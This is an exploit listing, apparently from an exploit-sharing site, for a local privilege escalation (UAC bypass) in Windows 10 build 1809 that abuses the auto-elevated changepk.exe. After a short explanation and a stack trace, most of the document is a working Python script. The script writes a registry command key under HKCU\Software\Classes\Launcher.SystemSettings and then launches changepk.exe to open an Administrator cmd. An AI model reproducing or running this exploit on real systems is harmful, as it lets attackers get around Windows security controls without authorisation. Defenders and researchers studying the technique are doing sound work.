Microsoft Windows 10 build 1809 - Local Privilege Escalation (UAC Bypass) Exploit

# Exploit Title: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
# Author: Nassim Asrir
# Exploit Author: Nassim Asrir
# CVE: N/A
# Tested On: Windows 10Pro 1809
# Vendor : https://www.microsoft.com
 
# Technical Details
 
# I discovered a Local Privilege Escalation in Windows 10 (UAC Bypass), via an auto-elevated process.
# The executable is changepk.exe. changepk is used to pass a new product key, you can pass the key also via commandline.
# By executing changepk.exe and tracing the process we can see some RegOpenKey operations that lead to open some non-found Key in the registry (HKCU).
# In our case we can use "HKCU:\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" to spawn our Administrator cmd or to bypass the mmc UAC.
 
# ntoskrnl.exe  ObOpenObjectByNameEx + 0x32db   0xfffff8073106270b      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  RtlMapGenericMask + 0x2548      0xfffff80731090118      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  ObOpenObjectByNameEx + 0x1bd9   0xfffff80731061009      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  ObOpenObjectByNameEx + 0x1df    0xfffff8073105f60f      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  SeCaptureSubjectContextEx + 0x7c8       0xfffff8073105dc98      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  SeCaptureSubjectContextEx + 0x51f       0xfffff8073105d9ef      C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe  setjmpex + 0x78e5       0xfffff80730bd9c05      C:\WINDOWS\system32\ntoskrnl.exe
# ntdll.dll     ZwOpenKeyEx + 0x14      0x7ff877501a94  C:\Windows\System32\ntdll.dll
# KernelBase.dll        RegEnumKeyExW + 0x4c5   0x7ff874161655  C:\Windows\System32\KernelBase.dll
# KernelBase.dll        MapPredefinedHandleInternal + 0xca5     0x7ff874162fb5  C:\Windows\System32\KernelBase.dll
# KernelBase.dll        RegOpenKeyExInternalW + 0x141   0x7ff874161fa1  C:\Windows\System32\KernelBase.dll
# KernelBase.dll        RegOpenKeyExW + 0x19    0x7ff874161e49  C:\Windows\System32\KernelBase.dll
# SHCore.dll    SHGetValueW + 0x8c      0x7ff87469bfcc  C:\Windows\System32\SHCore.dll
# shell32.dll   Ordinal790 + 0xb282     0x7ff87532fd22  C:\Windows\System32\shell32.dll
# shell32.dll   Ordinal790 + 0xad56     0x7ff87532f7f6  C:\Windows\System32\shell32.dll
# shell32.dll   SHChangeNotification_Lock + 0x2b8       0x7ff8753a2a58  C:\Windows\System32\shell32.dll
# shell32.dll   Ordinal790 + 0xb0cb     0x7ff87532fb6b  C:\Windows\System32\shell32.dll
# shell32.dll   Ordinal790 + 0xa254     0x7ff87532ecf4  C:\Windows\System32\shell32.dll
# shell32.dll   Ordinal790 + 0xa7c6     0x7ff87532f266  C:\Windows\System32\shell32.dll
# shell32.dll   Shell_NotifyIconW + 0x1695      0x7ff875349c75  C:\Windows\System32\shell32.dll
# shell32.dll   SHGetFileInfoW + 0x18a5 0x7ff87536a8c5  C:\Windows\System32\shell32.dll
# shell32.dll   SignalFileOpen + 0x33b  0x7ff8753a140b  C:\Windows\System32\shell32.dll
# shell32.dll   SignalFileOpen + 0x25b  0x7ff8753a132b  C:\Windows\System32\shell32.dll
# shell32.dll   Ordinal99 + 0x9c6       0x7ff87534ff96  C:\Windows\System32\shell32.dll
# shell32.dll   SHGetSpecialFolderLocation + 0x28e      0x7ff8753bac5e  C:\Windows\System32\shell32.dll
# SHCore.dll    Ordinal233 + 0x3c5      0x7ff8746ac315  C:\Windows\System32\SHCore.dll
# kernel32.dll  BaseThreadInitThunk + 0x14      0x7ff875087974  C:\Windows\System32\kernel32.dll
# ntdll.dll     RtlUserThreadStart + 0x21       0x7ff8774ca271  C:\Windows\System32\ntdll.dll
 
 
# Exploit
# To exploit the vulnerability you can use this python code then execute it and you will get the Windows Activation just click Yes and you will redirect the execution to cmd.exe.
 
# -*- coding: utf-8 -*-
import os
import sys
import ctypes
import _winreg
import time
 
print "Creating Registry Key ....."
print ""
time.sleep(3)
def create_reg_key(key, value):
 
    try:  
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command')
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise
 
print "Registry Key Created :)"
print ""
print "Inserting the command ...."
time.sleep(3)
print ""
def exec_bypass_uac(cmd):
    try:
        create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise
 
def bypass_uac():     
 try:                
    current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
    cmd = "C:\windows\System32\cmd.exe"
    exec_bypass_uac(cmd)                
    os.system(r'C:\windows\system32\changepk.exe')  
    return 1              
 except WindowsError:
    sys.exit(1)       
 
if __name__ == '__main__':
 
    if bypass_uac():
        print "Good job you got your Administrator cmd :)"
 
 
# Don't Fogot:  reg delete "HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" /f
 
#  0day.today [2020-01-18]  #